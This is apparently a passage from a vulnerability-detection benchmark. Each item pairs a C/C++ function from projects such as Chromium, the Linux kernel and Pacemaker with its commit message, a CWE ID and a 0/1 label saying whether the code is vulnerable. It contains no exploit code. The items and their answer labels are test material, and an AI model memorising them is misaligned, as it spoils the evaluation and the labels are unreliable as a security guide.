if (!cpp_value.Prepare())
return;
impl->setAttribute(html_names::kReflectUrlAttributeAttr, cpp_value);
}
Commit Message: bindings: Support "attribute FrozenArray<T>?"
Adds a quick hack to support a case of "attribute FrozenArray<T>?".
Bug: 1028047
Change-Id: Ib3cecc4beb6bcc0fb0dbc667aca595454cc90c86
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1933866
Reviewed-by: Hitoshi Yoshida <peria@chromium.org>
Commit-Queue: Yuki Shiino <yukishiino@chromium.org>
Cr-Commit-Position: refs/heads/master@{#718676}
CWE ID:
| 0
| 16,647
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: BOOL CreateTooltip(HWND hControl, const char* message, int duration)
{
TOOLINFOW toolInfo = {0};
int i;
if ( (hControl == NULL) || (message == NULL) ) {
return FALSE;
}
DestroyTooltip(hControl);
for (i=0; i<MAX_TOOLTIPS; i++) {
if (ttlist[i].hTip == NULL) break;
}
if (i >= MAX_TOOLTIPS) {
uprintf("Maximum number of tooltips reached (%d)\n", MAX_TOOLTIPS);
return FALSE;
}
ttlist[i].hTip = CreateWindowExW(0, TOOLTIPS_CLASS, NULL, WS_POPUP | TTS_NOPREFIX | TTS_ALWAYSTIP,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, hMainDialog, NULL,
hMainInstance, NULL);
if (ttlist[i].hTip == NULL) {
return FALSE;
}
ttlist[i].hCtrl = hControl;
ttlist[i].original_proc = (WNDPROC)SetWindowLongPtr(ttlist[i].hTip, GWLP_WNDPROC, (LONG_PTR)TooltipCallback);
ttlist[i].wstring = utf8_to_wchar(message);
PostMessage(ttlist[i].hTip, TTM_SETDELAYTIME, (WPARAM)TTDT_AUTOPOP, (LPARAM)duration);
toolInfo.cbSize = sizeof(toolInfo);
toolInfo.hwnd = ttlist[i].hTip; // Set to the tooltip itself to ease up subclassing
toolInfo.uFlags = TTF_IDISHWND | TTF_SUBCLASS | ((right_to_left_mode)?TTF_RTLREADING:0);
if (!(SendMessage(hControl, WM_GETDLGCODE, 0, 0) & DLGC_BUTTON))
toolInfo.uFlags |= 0x80000000L | TTF_CENTERTIP;
toolInfo.uId = (UINT_PTR)hControl;
toolInfo.lpszText = LPSTR_TEXTCALLBACKW;
SendMessageW(ttlist[i].hTip, TTM_ADDTOOLW, 0, (LPARAM)&toolInfo);
return TRUE;
}
Commit Message: [pki] fix https://www.kb.cert.org/vuls/id/403768
* This commit effectively fixes https://www.kb.cert.org/vuls/id/403768 (CVE-2017-13083) as
it is described per its revision 11, which is the latest revision at the time of this commit,
by disabling Windows prompts, enacted during signature validation, that allow the user to
bypass the intended signature verification checks.
* It needs to be pointed out that the vulnerability ("allow(ing) the use of a self-signed
certificate"), which relies on the end-user actively ignoring a Windows prompt that tells
them that the update failed the signature validation whilst also advising against running it,
is being fully addressed, even as the update protocol remains HTTP.
* It also need to be pointed out that the extended delay (48 hours) between the time the
vulnerability was reported and the moment it is fixed in our codebase has to do with
the fact that the reporter chose to deviate from standard security practices by not
disclosing the details of the vulnerability with us, be it publicly or privately,
before creating the cert.org report. The only advance notification we received was a
generic note about the use of HTTP vs HTTPS, which, as have established, is not
immediately relevant to addressing the reported vulnerability.
* Closes #1009
* Note: The other vulnerability scenario described towards the end of #1009, which
doesn't have to do with the "lack of CA checking", will be addressed separately.
CWE ID: CWE-494
| 0
| 27,516
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Document::evaluateMediaQueryList()
{
if (m_mediaQueryMatcher)
m_mediaQueryMatcher->mediaFeaturesChanged();
}
Commit Message: Change Document::detach() to RELEASE_ASSERT all subframes are gone.
BUG=556724,577105
Review URL: https://codereview.chromium.org/1667573002
Cr-Commit-Position: refs/heads/master@{#373642}
CWE ID: CWE-264
| 0
| 14,895
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WT_VoiceGain (S_WT_VOICE *pWTVoice, S_WT_INT_FRAME *pWTIntFrame)
{
EAS_I32 *pMixBuffer;
EAS_PCM *pInputBuffer;
EAS_I32 gain;
EAS_I32 gainIncrement;
EAS_I32 tmp0;
EAS_I32 tmp1;
EAS_I32 tmp2;
EAS_I32 numSamples;
#if (NUM_OUTPUT_CHANNELS == 2)
EAS_I32 gainLeft, gainRight;
#endif
/* initialize some local variables */
numSamples = pWTIntFrame->numSamples;
if (numSamples <= 0) {
ALOGE("b/26366256");
return;
}
pMixBuffer = pWTIntFrame->pMixBuffer;
pInputBuffer = pWTIntFrame->pAudioBuffer;
/*lint -e{703} <avoid multiply for performance>*/
gainIncrement = (pWTIntFrame->frame.gainTarget - pWTIntFrame->prevGain) << (16 - SYNTH_UPDATE_PERIOD_IN_BITS);
if (gainIncrement < 0)
gainIncrement++;
/*lint -e{703} <avoid multiply for performance>*/
gain = pWTIntFrame->prevGain << 16;
#if (NUM_OUTPUT_CHANNELS == 2)
gainLeft = pWTVoice->gainLeft;
gainRight = pWTVoice->gainRight;
#endif
while (numSamples--) {
/* incremental gain step to prevent zipper noise */
tmp0 = *pInputBuffer++;
gain += gainIncrement;
/*lint -e{704} <avoid divide>*/
tmp2 = gain >> 16;
/* scale sample by gain */
tmp2 *= tmp0;
/* stereo output */
#if (NUM_OUTPUT_CHANNELS == 2)
/*lint -e{704} <avoid divide>*/
tmp2 = tmp2 >> 14;
/* get the current sample in the final mix buffer */
tmp1 = *pMixBuffer;
/* left channel */
tmp0 = tmp2 * gainLeft;
/*lint -e{704} <avoid divide>*/
tmp0 = tmp0 >> NUM_MIXER_GUARD_BITS;
tmp1 += tmp0;
*pMixBuffer++ = tmp1;
/* get the current sample in the final mix buffer */
tmp1 = *pMixBuffer;
/* right channel */
tmp0 = tmp2 * gainRight;
/*lint -e{704} <avoid divide>*/
tmp0 = tmp0 >> NUM_MIXER_GUARD_BITS;
tmp1 += tmp0;
*pMixBuffer++ = tmp1;
/* mono output */
#else
/* get the current sample in the final mix buffer */
tmp1 = *pMixBuffer;
/*lint -e{704} <avoid divide>*/
tmp2 = tmp2 >> (NUM_MIXER_GUARD_BITS - 1);
tmp1 += tmp2;
*pMixBuffer++ = tmp1;
#endif
}
}
Commit Message: Sonivox: add SafetyNet log.
Bug: 26366256
Change-Id: Ief72e01b7cc6d87a015105af847a99d3d9b03cb0
CWE ID: CWE-119
| 1
| 15,440
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int xt_compat_match_offset(const struct xt_match *match)
{
u_int16_t csize = match->compatsize ? : match->matchsize;
return XT_ALIGN(match->matchsize) - COMPAT_XT_ALIGN(csize);
}
Commit Message: netfilter: x_tables: check for bogus target offset
We're currently asserting that targetoff + targetsize <= nextoff.
Extend it to also check that targetoff is >= sizeof(xt_entry).
Since this is generic code, add an argument pointing to the start of the
match/target, we can then derive the base structure size from the delta.
We also need the e->elems pointer in a followup change to validate matches.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
CWE ID: CWE-264
| 0
| 10,688
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: xsltInitCtxtExt(xsltExtDataPtr styleData, xsltInitExtCtxt * ctxt,
const xmlChar * URI)
{
xsltExtModulePtr module;
xsltExtDataPtr ctxtData;
void *extData;
if ((styleData == NULL) || (ctxt == NULL) || (URI == NULL) ||
(ctxt->ret == -1)) {
#ifdef WITH_XSLT_DEBUG_EXTENSIONS
xsltGenericDebug(xsltGenericDebugContext,
"xsltInitCtxtExt: NULL param or error\n");
#endif
return;
}
module = styleData->extModule;
if ((module == NULL) || (module->initFunc == NULL)) {
#ifdef WITH_XSLT_DEBUG_EXTENSIONS
xsltGenericDebug(xsltGenericDebugContext,
"xsltInitCtxtExt: no module or no initFunc\n");
#endif
return;
}
ctxtData = (xsltExtDataPtr) xmlHashLookup(ctxt->ctxt->extInfos, URI);
if (ctxtData != NULL) {
#ifdef WITH_XSLT_DEBUG_EXTENSIONS
xsltGenericDebug(xsltGenericDebugContext,
"xsltInitCtxtExt: already initialized\n");
#endif
return;
}
extData = module->initFunc(ctxt->ctxt, URI);
if (extData == NULL) {
#ifdef WITH_XSLT_DEBUG_EXTENSIONS
xsltGenericDebug(xsltGenericDebugContext,
"xsltInitCtxtExt: no extData\n");
#endif
}
ctxtData = xsltNewExtData(module, extData);
if (ctxtData == NULL) {
ctxt->ret = -1;
return;
}
if (ctxt->ctxt->extInfos == NULL)
ctxt->ctxt->extInfos = xmlHashCreate(10);
if (ctxt->ctxt->extInfos == NULL) {
ctxt->ret = -1;
return;
}
if (xmlHashAddEntry(ctxt->ctxt->extInfos, URI, ctxtData) < 0) {
xsltGenericError(xsltGenericErrorContext,
"Failed to register module data: %s\n", URI);
if (module->shutdownFunc)
module->shutdownFunc(ctxt->ctxt, URI, extData);
xsltFreeExtData(ctxtData);
ctxt->ret = -1;
return;
}
#ifdef WITH_XSLT_DEBUG_EXTENSIONS
xsltGenericDebug(xsltGenericDebugContext, "Registered module %s\n",
URI);
#endif
ctxt->ret++;
}
Commit Message: Roll libxslt to 891681e3e948f31732229f53cb6db7215f740fc7
BUG=583156,583171
Review URL: https://codereview.chromium.org/1853083002
Cr-Commit-Position: refs/heads/master@{#385338}
CWE ID: CWE-119
| 0
| 17,578
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Add(RenderWidgetHost* host) {
hosts_.push_back(RenderWidgetHostID(host->GetProcess()->GetID(),
host->GetRoutingID()));
}
Commit Message: Check that RWHI isn't deleted manually while owned by a scoped_ptr in RVHI
BUG=590284
Review URL: https://codereview.chromium.org/1747183002
Cr-Commit-Position: refs/heads/master@{#378844}
CWE ID:
| 0
| 102
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: crm_client_destroy(crm_client_t * c)
{
if (c == NULL) {
return;
}
if (client_connections) {
if (c->ipcs) {
crm_trace("Destroying %p/%p (%d remaining)",
c, c->ipcs, crm_hash_table_size(client_connections) - 1);
g_hash_table_remove(client_connections, c->ipcs);
} else {
crm_trace("Destroying remote connection %p (%d remaining)",
c, crm_hash_table_size(client_connections) - 1);
g_hash_table_remove(client_connections, c->id);
}
}
if (c->event_timer) {
g_source_remove(c->event_timer);
}
crm_debug("Destroying %d events", g_list_length(c->event_queue));
while (c->event_queue) {
struct iovec *event = c->event_queue->data;
c->event_queue = g_list_remove(c->event_queue, event);
free(event[0].iov_base);
free(event[1].iov_base);
free(event);
}
free(c->id);
free(c->name);
free(c->user);
if (c->remote) {
if (c->remote->auth_timeout) {
g_source_remove(c->remote->auth_timeout);
}
free(c->remote->buffer);
free(c->remote);
}
free(c);
}
Commit Message: High: libcrmcommon: fix CVE-2016-7035 (improper IPC guarding)
It was discovered that at some not so uncommon circumstances, some
pacemaker daemons could be talked to, via libqb-facilitated IPC, by
unprivileged clients due to flawed authorization decision. Depending
on the capabilities of affected daemons, this might equip unauthorized
user with local privilege escalation or up to cluster-wide remote
execution of possibly arbitrary commands when such user happens to
reside at standard or remote/guest cluster node, respectively.
The original vulnerability was introduced in an attempt to allow
unprivileged IPC clients to clean up the file system materialized
leftovers in case the server (otherwise responsible for the lifecycle
of these files) crashes. While the intended part of such behavior is
now effectively voided (along with the unintended one), a best-effort
fix to address this corner case systemically at libqb is coming along
(https://github.com/ClusterLabs/libqb/pull/231).
Affected versions: 1.1.10-rc1 (2013-04-17) - 1.1.15 (2016-06-21)
Impact: Important
CVSSv3 ranking: 8.8 : AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Credits for independent findings, in chronological order:
Jan "poki" Pokorný, of Red Hat
Alain Moulle, of ATOS/BULL
CWE ID: CWE-285
| 0
| 24,106
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: chunk_free_unchecked(chunk_t *chunk)
{
if (!chunk)
return;
#ifdef DEBUG_CHUNK_ALLOC
tor_assert(CHUNK_ALLOC_SIZE(chunk->memlen) == chunk->DBG_alloc);
#endif
tor_assert(total_bytes_allocated_in_chunks >=
CHUNK_ALLOC_SIZE(chunk->memlen));
total_bytes_allocated_in_chunks -= CHUNK_ALLOC_SIZE(chunk->memlen);
tor_free(chunk);
}
Commit Message: Add a one-word sentinel value of 0x0 at the end of each buf_t chunk
This helps protect against bugs where any part of a buf_t's memory
is passed to a function that expects a NUL-terminated input.
It also closes TROVE-2016-10-001 (aka bug 20384).
CWE ID: CWE-119
| 0
| 6,819
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int __ims_pcu_execute_command(struct ims_pcu *pcu,
u8 command, const void *data, size_t len,
u8 expected_response, int response_time)
{
int error;
pcu->expected_response = expected_response;
init_completion(&pcu->cmd_done);
error = ims_pcu_send_command(pcu, command, data, len);
if (error)
return error;
if (expected_response &&
!wait_for_completion_timeout(&pcu->cmd_done,
msecs_to_jiffies(response_time))) {
dev_dbg(pcu->dev, "Command 0x%02x timed out\n", command);
return -ETIMEDOUT;
}
return 0;
}
Commit Message: Input: ims-pcu - sanity check against missing interfaces
A malicious device missing interface can make the driver oops.
Add sanity checking.
Signed-off-by: Oliver Neukum <ONeukum@suse.com>
CC: stable@vger.kernel.org
Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
CWE ID:
| 0
| 9,838
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: BorderSizeNotEmpty(DeviceIntPtr pDev, WindowPtr pWin)
{
if (RegionNotEmpty(&pWin->borderSize))
return TRUE;
#ifdef PANORAMIX
if (!noPanoramiXExtension && XineramaSetWindowPntrs(pDev, pWin)) {
int i;
FOR_NSCREENS_FORWARD_SKIP(i) {
if (RegionNotEmpty
(&pDev->spriteInfo->sprite->windows[i]->borderSize))
return TRUE;
}
}
#endif
return FALSE;
}
Commit Message:
CWE ID: CWE-119
| 0
| 10,591
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void __ipv6_regen_rndid(struct inet6_dev *idev)
{
regen:
get_random_bytes(idev->rndid, sizeof(idev->rndid));
idev->rndid[0] &= ~0x02;
/*
* <draft-ietf-ipngwg-temp-addresses-v2-00.txt>:
* check if generated address is not inappropriate
*
* - Reserved subnet anycast (RFC 2526)
* 11111101 11....11 1xxxxxxx
* - ISATAP (RFC4214) 6.1
* 00-00-5E-FE-xx-xx-xx-xx
* - value 0
* - XXX: already assigned to an address on the device
*/
if (idev->rndid[0] == 0xfd &&
(idev->rndid[1]&idev->rndid[2]&idev->rndid[3]&idev->rndid[4]&idev->rndid[5]&idev->rndid[6]) == 0xff &&
(idev->rndid[7]&0x80))
goto regen;
if ((idev->rndid[0]|idev->rndid[1]) == 0) {
if (idev->rndid[2] == 0x5e && idev->rndid[3] == 0xfe)
goto regen;
if ((idev->rndid[2]|idev->rndid[3]|idev->rndid[4]|idev->rndid[5]|idev->rndid[6]|idev->rndid[7]) == 0x00)
goto regen;
}
}
Commit Message: ipv6: addrconf: validate new MTU before applying it
Currently we don't check if the new MTU is valid or not and this allows
one to configure a smaller than minimum allowed by RFCs or even bigger
than interface own MTU, which is a problem as it may lead to packet
drops.
If you have a daemon like NetworkManager running, this may be exploited
by remote attackers by forging RA packets with an invalid MTU, possibly
leading to a DoS. (NetworkManager currently only validates for values
too small, but not for too big ones.)
The fix is just to make sure the new value is valid. That is, between
IPV6_MIN_MTU and interface's MTU.
Note that similar check is already performed at
ndisc_router_discovery(), for when kernel itself parses the RA.
Signed-off-by: Marcelo Ricardo Leitner <mleitner@redhat.com>
Signed-off-by: Sabrina Dubroca <sd@queasysnail.net>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-20
| 0
| 24,627
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void sched_domains_numa_masks_set(unsigned int cpu) { }
Commit Message: Merge branch 'stacking-fixes' (vfs stacking fixes from Jann)
Merge filesystem stacking fixes from Jann Horn.
* emailed patches from Jann Horn <jannh@google.com>:
sched: panic on corrupted stack end
ecryptfs: forbid opening files without mmap handler
proc: prevent stacking filesystems on top
CWE ID: CWE-119
| 0
| 28,168
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RenderFrameImpl::didCreateScriptContext(blink::WebLocalFrame* frame,
v8::Handle<v8::Context> context,
int extension_group,
int world_id) {
DCHECK(!frame_ || frame_ == frame);
GetContentClient()->renderer()->DidCreateScriptContext(
frame, context, extension_group, world_id);
}
Commit Message: Add logging to figure out which IPC we're failing to deserialize in RenderFrame.
BUG=369553
R=creis@chromium.org
Review URL: https://codereview.chromium.org/263833020
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@268565 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
| 0
| 21,043
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void GLES2DecoderImpl::DoStencilMaskSeparate(GLenum face, GLuint mask) {
if (face == GL_FRONT || face == GL_FRONT_AND_BACK) {
mask_stencil_front_ = mask;
}
if (face == GL_BACK || face == GL_FRONT_AND_BACK) {
mask_stencil_back_ = mask;
}
state_dirty_ = true;
}
Commit Message: Revert "Revert 100494 - Fix bug in SimulateAttrib0."""
TEST=none
BUG=95625
TBR=apatrick@chromium.org
Review URL: http://codereview.chromium.org/7796016
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@100507 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
| 0
| 10,093
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void HTMLSelectElement::reset()
{
HTMLOptionElement* firstOption = 0;
HTMLOptionElement* selectedOption = 0;
const Vector<HTMLElement*>& items = listItems();
for (unsigned i = 0; i < items.size(); ++i) {
HTMLElement* element = items[i];
if (!element->hasTagName(optionTag))
continue;
if (items[i]->fastHasAttribute(selectedAttr)) {
if (selectedOption && !m_multiple)
selectedOption->setSelectedState(false);
toHTMLOptionElement(element)->setSelectedState(true);
selectedOption = toHTMLOptionElement(element);
} else
toHTMLOptionElement(element)->setSelectedState(false);
if (!firstOption)
firstOption = toHTMLOptionElement(element);
}
if (!selectedOption && firstOption && !m_multiple && m_size <= 1)
firstOption->setSelectedState(true);
setOptionsChangedOnRenderer();
setNeedsStyleRecalc();
setNeedsValidityCheck();
}
Commit Message: SelectElement should remove an option when null is assigned by indexed setter
Fix bug embedded in r151449
see
http://src.chromium.org/viewvc/blink?revision=151449&view=revision
R=haraken@chromium.org, tkent@chromium.org, eseidel@chromium.org
BUG=262365
TEST=fast/forms/select/select-assign-null.html
Review URL: https://chromiumcodereview.appspot.com/19947008
git-svn-id: svn://svn.chromium.org/blink/trunk@154743 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-125
| 0
| 11,678
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline int nfs4_server_supports_labels(struct nfs_server *server)
{
return server->caps & NFS_CAP_SECURITY_LABEL;
}
Commit Message: NFS: Fix a NULL pointer dereference of migration recovery ops for v4.2 client
---Steps to Reproduce--
<nfs-server>
# cat /etc/exports
/nfs/referal *(rw,insecure,no_subtree_check,no_root_squash,crossmnt)
/nfs/old *(ro,insecure,subtree_check,root_squash,crossmnt)
<nfs-client>
# mount -t nfs nfs-server:/nfs/ /mnt/
# ll /mnt/*/
<nfs-server>
# cat /etc/exports
/nfs/referal *(rw,insecure,no_subtree_check,no_root_squash,crossmnt,refer=/nfs/old/@nfs-server)
/nfs/old *(ro,insecure,subtree_check,root_squash,crossmnt)
# service nfs restart
<nfs-client>
# ll /mnt/*/ --->>>>> oops here
[ 5123.102925] BUG: unable to handle kernel NULL pointer dereference at (null)
[ 5123.103363] IP: [<ffffffffa03ed38b>] nfs4_proc_get_locations+0x9b/0x120 [nfsv4]
[ 5123.103752] PGD 587b9067 PUD 3cbf5067 PMD 0
[ 5123.104131] Oops: 0000 [#1]
[ 5123.104529] Modules linked in: nfsv4(OE) nfs(OE) fscache(E) nfsd(OE) xfs libcrc32c iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi coretemp crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel ppdev vmw_balloon parport_pc parport i2c_piix4 shpchp auth_rpcgss nfs_acl vmw_vmci lockd grace sunrpc vmwgfx drm_kms_helper ttm drm mptspi serio_raw scsi_transport_spi e1000 mptscsih mptbase ata_generic pata_acpi [last unloaded: nfsd]
[ 5123.105887] CPU: 0 PID: 15853 Comm: ::1-manager Tainted: G OE 4.2.0-rc6+ #214
[ 5123.106358] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 05/20/2014
[ 5123.106860] task: ffff88007620f300 ti: ffff88005877c000 task.ti: ffff88005877c000
[ 5123.107363] RIP: 0010:[<ffffffffa03ed38b>] [<ffffffffa03ed38b>] nfs4_proc_get_locations+0x9b/0x120 [nfsv4]
[ 5123.107909] RSP: 0018:ffff88005877fdb8 EFLAGS: 00010246
[ 5123.108435] RAX: ffff880053f3bc00 RBX: ffff88006ce6c908 RCX: ffff880053a0d240
[ 5123.108968] RDX: ffffea0000e6d940 RSI: ffff8800399a0000 RDI: ffff88006ce6c908
[ 5123.109503] RBP: ffff88005877fe28 R08: ffffffff81c708a0 R09: 0000000000000000
[ 5123.110045] R10: 00000000000001a2 R11: ffff88003ba7f5c8 R12: ffff880054c55800
[ 5123.110618] R13: 0000000000000000 R14: ffff880053a0d240 R15: ffff880053a0d240
[ 5123.111169] FS: 0000000000000000(0000) GS:ffffffff81c27000(0000) knlGS:0000000000000000
[ 5123.111726] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 5123.112286] CR2: 0000000000000000 CR3: 0000000054cac000 CR4: 00000000001406f0
[ 5123.112888] Stack:
[ 5123.113458] ffffea0000e6d940 ffff8800399a0000 00000000000167d0 0000000000000000
[ 5123.114049] 0000000000000000 0000000000000000 0000000000000000 00000000a7ec82c6
[ 5123.114662] ffff88005877fe18 ffffea0000e6d940 ffff8800399a0000 ffff880054c55800
[ 5123.115264] Call Trace:
[ 5123.115868] [<ffffffffa03fb44b>] nfs4_try_migration+0xbb/0x220 [nfsv4]
[ 5123.116487] [<ffffffffa03fcb3b>] nfs4_run_state_manager+0x4ab/0x7b0 [nfsv4]
[ 5123.117104] [<ffffffffa03fc690>] ? nfs4_do_reclaim+0x510/0x510 [nfsv4]
[ 5123.117813] [<ffffffff810a4527>] kthread+0xd7/0xf0
[ 5123.118456] [<ffffffff810a4450>] ? kthread_worker_fn+0x160/0x160
[ 5123.119108] [<ffffffff816d9cdf>] ret_from_fork+0x3f/0x70
[ 5123.119723] [<ffffffff810a4450>] ? kthread_worker_fn+0x160/0x160
[ 5123.120329] Code: 4c 8b 6a 58 74 17 eb 52 48 8d 55 a8 89 c6 4c 89 e7 e8 4a b5 ff ff 8b 45 b0 85 c0 74 1c 4c 89 f9 48 8b 55 90 48 8b 75 98 48 89 df <41> ff 55 00 3d e8 d8 ff ff 41 89 c6 74 cf 48 8b 4d c8 65 48 33
[ 5123.121643] RIP [<ffffffffa03ed38b>] nfs4_proc_get_locations+0x9b/0x120 [nfsv4]
[ 5123.122308] RSP <ffff88005877fdb8>
[ 5123.122942] CR2: 0000000000000000
Fixes: ec011fe847 ("NFS: Introduce a vector of migration recovery ops")
Cc: stable@vger.kernel.org # v3.13+
Signed-off-by: Kinglong Mee <kinglongmee@gmail.com>
Signed-off-by: Trond Myklebust <trond.myklebust@primarydata.com>
CWE ID:
| 0
| 24,612
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: TreeWalker* Document::createTreeWalker(Node* root,
unsigned what_to_show,
V8NodeFilter* filter) {
DCHECK(root);
return TreeWalker::Create(root, what_to_show, filter);
}
Commit Message: Cleanup and remove dead code in SetFocusedElement
This early-out was added in:
https://crrev.com/ce8ea3446283965c7eabab592cbffe223b1cf2bc
Back then, we applied fragment focus in LayoutUpdated() which could
cause this issue. This got cleaned up in:
https://crrev.com/45236fd563e9df53dc45579be1f3d0b4784885a2
so that focus is no longer applied after layout.
+Cleanup: Goto considered harmful
Bug: 795381
Change-Id: Ifeb4d2e03e872fd48cca6720b1d4de36ad1ecbb7
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1524417
Commit-Queue: David Bokan <bokan@chromium.org>
Reviewed-by: Stefan Zager <szager@chromium.org>
Cr-Commit-Position: refs/heads/master@{#641101}
CWE ID: CWE-416
| 0
| 7,363
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RenderView::OnSetInLiveResize(bool in_live_resize) {
if (!webview())
return;
if (in_live_resize)
webview()->willStartLiveResize();
else
webview()->willEndLiveResize();
}
Commit Message: DevTools: move DevToolsAgent/Client into content.
BUG=84078
TEST=
Review URL: http://codereview.chromium.org/7461019
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@93596 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 29,223
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void stringAttributeAttributeSetterCallback(v8::Local<v8::String>, v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)
{
TRACE_EVENT_SET_SAMPLING_STATE("Blink", "DOMSetter");
TestObjectPythonV8Internal::stringAttributeAttributeSetter(jsValue, info);
TRACE_EVENT_SET_SAMPLING_STATE("V8", "V8Execution");
}
Commit Message: document.location bindings fix
BUG=352374
R=jochen@chromium.org
Review URL: https://codereview.chromium.org/196343011
git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 26,800
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: copyEntityTable(XML_Parser oldParser, HASH_TABLE *newTable,
STRING_POOL *newPool, const HASH_TABLE *oldTable) {
HASH_TABLE_ITER iter;
const XML_Char *cachedOldBase = NULL;
const XML_Char *cachedNewBase = NULL;
hashTableIterInit(&iter, oldTable);
for (;;) {
ENTITY *newE;
const XML_Char *name;
const ENTITY *oldE = (ENTITY *)hashTableIterNext(&iter);
if (! oldE)
break;
name = poolCopyString(newPool, oldE->name);
if (! name)
return 0;
newE = (ENTITY *)lookup(oldParser, newTable, name, sizeof(ENTITY));
if (! newE)
return 0;
if (oldE->systemId) {
const XML_Char *tem = poolCopyString(newPool, oldE->systemId);
if (! tem)
return 0;
newE->systemId = tem;
if (oldE->base) {
if (oldE->base == cachedOldBase)
newE->base = cachedNewBase;
else {
cachedOldBase = oldE->base;
tem = poolCopyString(newPool, cachedOldBase);
if (! tem)
return 0;
cachedNewBase = newE->base = tem;
}
}
if (oldE->publicId) {
tem = poolCopyString(newPool, oldE->publicId);
if (! tem)
return 0;
newE->publicId = tem;
}
} else {
const XML_Char *tem
= poolCopyStringN(newPool, oldE->textPtr, oldE->textLen);
if (! tem)
return 0;
newE->textPtr = tem;
newE->textLen = oldE->textLen;
}
if (oldE->notation) {
const XML_Char *tem = poolCopyString(newPool, oldE->notation);
if (! tem)
return 0;
newE->notation = tem;
}
newE->is_param = oldE->is_param;
newE->is_internal = oldE->is_internal;
}
return 1;
}
Commit Message: xmlparse.c: Deny internal entities closing the doctype
CWE ID: CWE-611
| 0
| 11,029
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool IsHttpPost(const blink::WebURLRequest& request) {
return request.HttpMethod().Utf8() == "POST";
}
Commit Message: Convert FrameHostMsg_DidAddMessageToConsole to Mojo.
Note: Since this required changing the test
RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually
re-introduced https://crbug.com/666714 locally (the bug the test was
added for), and reran the test to confirm that it still covers the bug.
Bug: 786836
Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270
Commit-Queue: Lowell Manners <lowell@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Cr-Commit-Position: refs/heads/master@{#653137}
CWE ID: CWE-416
| 0
| 18,208
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void __noreturn die(const char *str, struct pt_regs *regs)
{
static int die_counter;
int sig = SIGSEGV;
#ifdef CONFIG_MIPS_MT_SMTC
unsigned long dvpret = dvpe();
#endif /* CONFIG_MIPS_MT_SMTC */
if (notify_die(DIE_OOPS, str, regs, 0, regs_to_trapnr(regs), SIGSEGV) == NOTIFY_STOP)
sig = 0;
console_verbose();
spin_lock_irq(&die_lock);
